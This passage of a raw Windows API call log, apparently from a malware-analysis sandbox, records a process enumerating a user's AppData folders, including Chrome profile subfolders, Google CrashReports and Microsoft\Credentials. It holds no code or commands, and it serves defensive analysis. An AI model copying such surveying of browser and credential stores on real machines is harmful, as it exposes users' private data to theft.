lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.117] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.118] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter", lpFilePart=0x0) returned 0x48 [0179.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.118] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter", lpFilePart=0x0) returned 0x48 [0179.118] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.118] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.118] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unindexed Rules", cAlternateFileName="UNINDE~1")) returned 1 [0179.118] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unindexed Rules", cAlternateFileName="UNINDE~1")) returned 0 [0179.118] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.119] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter", lpFilePart=0x0) returned 0x40 [0179.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.119] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter", lpFilePart=0x0) returned 0x40 [0179.119] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f8d0 [0179.119] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.119] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.119] FindClose (in: hFindFile=0x135f8d0 | out: hFindFile=0x135f8d0) returned 1 [0179.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.119] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm", lpFilePart=0x0) returned 0x41 [0179.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.119] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm", lpFilePart=0x0) returned 0x41 [0179.119] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.120] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.120] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.120] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.120] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports", lpFilePart=0x0) returned 0x31 [0179.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.120] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports", lpFilePart=0x0) returned 0x31 [0179.120] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.121] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.121] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.121] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.122] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports", lpFilePart=0x0) returned 0x31 [0179.122] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f8d0 [0179.122] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.122] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.122] FindClose (in: hFindFile=0x135f8d0 | out: hFindFile=0x135f8d0) returned 1 [0179.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.122] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\History", nBufferLength=0x105, lpBuffer=0x12febf4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\History", lpFilePart=0x0) returned 0x25 [0179.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff10c) returned 1 [0179.122] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\History", nBufferLength=0x105, lpBuffer=0x12febc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\History", lpFilePart=0x0) returned 0x25 [0179.122] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\History\\*", lpFindFileData=0x12fee34 | out: lpFindFileData=0x12fee34*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0179.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d0) returned 1 [0179.124] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x12febf4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x27 [0179.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff10c) returned 1 [0179.124] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x12febc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x27 [0179.124] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x12fee34 | out: lpFindFileData=0x12fee34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x75a49245, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x75a49245, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.124] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x75a49245, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x75a49245, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.125] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v2.0", cAlternateFileName="")) returned 1 [0179.125] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x97043032, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v4.0", cAlternateFileName="")) returned 1 [0179.125] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v4.0_32", cAlternateFileName="CLR_V4~1.0_3")) returned 1 [0179.125] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9e945f, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x9e945f, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0179.125] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9153cde, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc9153cde, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9153cde, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0179.125] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e206cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1 [0179.125] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4373c58d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e21595, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4373c58d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1 [0179.126] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd425650, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd425650, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FontCache", cAlternateFileName="FONTCA~1")) returned 1 [0179.126] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8280f106, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0179.126] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc71f3a6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5e719bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdeb2fb6c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameDVR", cAlternateFileName="")) returned 1 [0179.126] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IME", cAlternateFileName="")) returned 1 [0179.126] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="input", cAlternateFileName="")) returned 1 [0179.126] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabf27288, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabf27288, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization", cAlternateFileName="INPUTP~1")) returned 1 [0179.127] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5ea402c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdee04858, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallAgent", cAlternateFileName="INSTAL~1")) returned 1 [0179.127] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cfd5892, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9b374a10, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x9b374a10, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0179.127] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0179.127] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0db3a8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xdedaa310, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xdedaa310, 